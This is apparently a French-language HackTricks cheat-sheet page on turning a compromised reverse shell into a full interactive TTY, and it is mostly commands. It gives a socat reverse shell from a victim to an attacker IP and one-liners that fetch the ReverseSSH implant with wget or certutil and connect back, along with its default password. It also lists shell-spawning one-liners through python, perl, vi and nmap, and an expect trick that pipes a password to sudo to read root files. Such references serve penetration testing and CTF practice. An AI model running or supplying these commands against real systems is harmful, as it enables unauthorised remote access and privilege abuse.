hacktricks/generic-methodologies-and-resources/shells/full-ttys.md
2023-06-03 13:10:46 +00:00

6.9 KiB

TTY complet

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

TTY complet

Notez que le shell que vous définissez dans la variable SHELL doit être listé à l'intérieur de /etc/shells ou The value for the SHELL variable was not found in the /etc/shells file This incident has been reported. De plus, notez que les extraits de code suivants ne fonctionnent qu'en bash. Si vous êtes dans un zsh, passez à un bash avant d'obtenir le shell en exécutant bash.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} Vous pouvez obtenir le nombre de lignes et de colonnes en exécutant stty -a {% endhint %}

script

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Générer des shells

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

Une façon pratique d'obtenir un accès shell interactif, ainsi que des transferts de fichiers et de la redirection de port, est de déposer le serveur ssh statiquement lié ReverseSSH sur la cible.

Ci-dessous un exemple pour x86 avec des binaires compressés upx. Pour d'autres binaires, vérifiez la page des versions.

  1. Préparez localement pour capturer la demande de redirection de port ssh:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Cible Linux:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
  • Si la demande de transfert de port ReverseSSH a réussi, vous devriez maintenant pouvoir vous connecter avec le mot de passe par défaut letmeinbrudipls dans le contexte de l'utilisateur exécutant reverse-ssh(.exe) :
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Pas de TTY

Si pour une raison quelconque vous ne pouvez pas obtenir un TTY complet, vous pouvez toujours interagir avec les programmes qui attendent une entrée utilisateur. Dans l'exemple suivant, le mot de passe est passé à sudo pour lire un fichier :

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥